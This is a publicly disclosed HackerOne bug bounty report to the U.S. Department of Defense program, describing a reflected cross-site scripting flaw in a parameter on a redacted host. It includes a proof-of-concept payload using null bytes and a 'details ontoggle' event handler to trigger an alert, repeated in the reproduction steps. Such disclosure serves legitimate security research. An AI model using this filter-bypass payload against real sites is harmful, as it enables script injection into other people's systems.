HexBrain

U.S. Dept Of Defense · Report #1252059

XSS on https://██████/███ via █████ parameter

Validstatus
mediumseverity
3upvotes
7 Apr 2022disclosed

How it was found

PoC

https://██████████/███████████=███████"><details%00open%00ontoggle=alert()>

████████

Impact

XSS at https://█████████/

System Host(s)

█████████

Affected Product(s) and Version(s)

CVE Numbers

Steps to Reproduce

Go to https://████/██████████████████=████"><details%00open%00ontoggle=alert()>

Suggested Mitigation/Remediation Actions

This report was disclosed publicly on HackerOne and belongs to its author and the program. See the original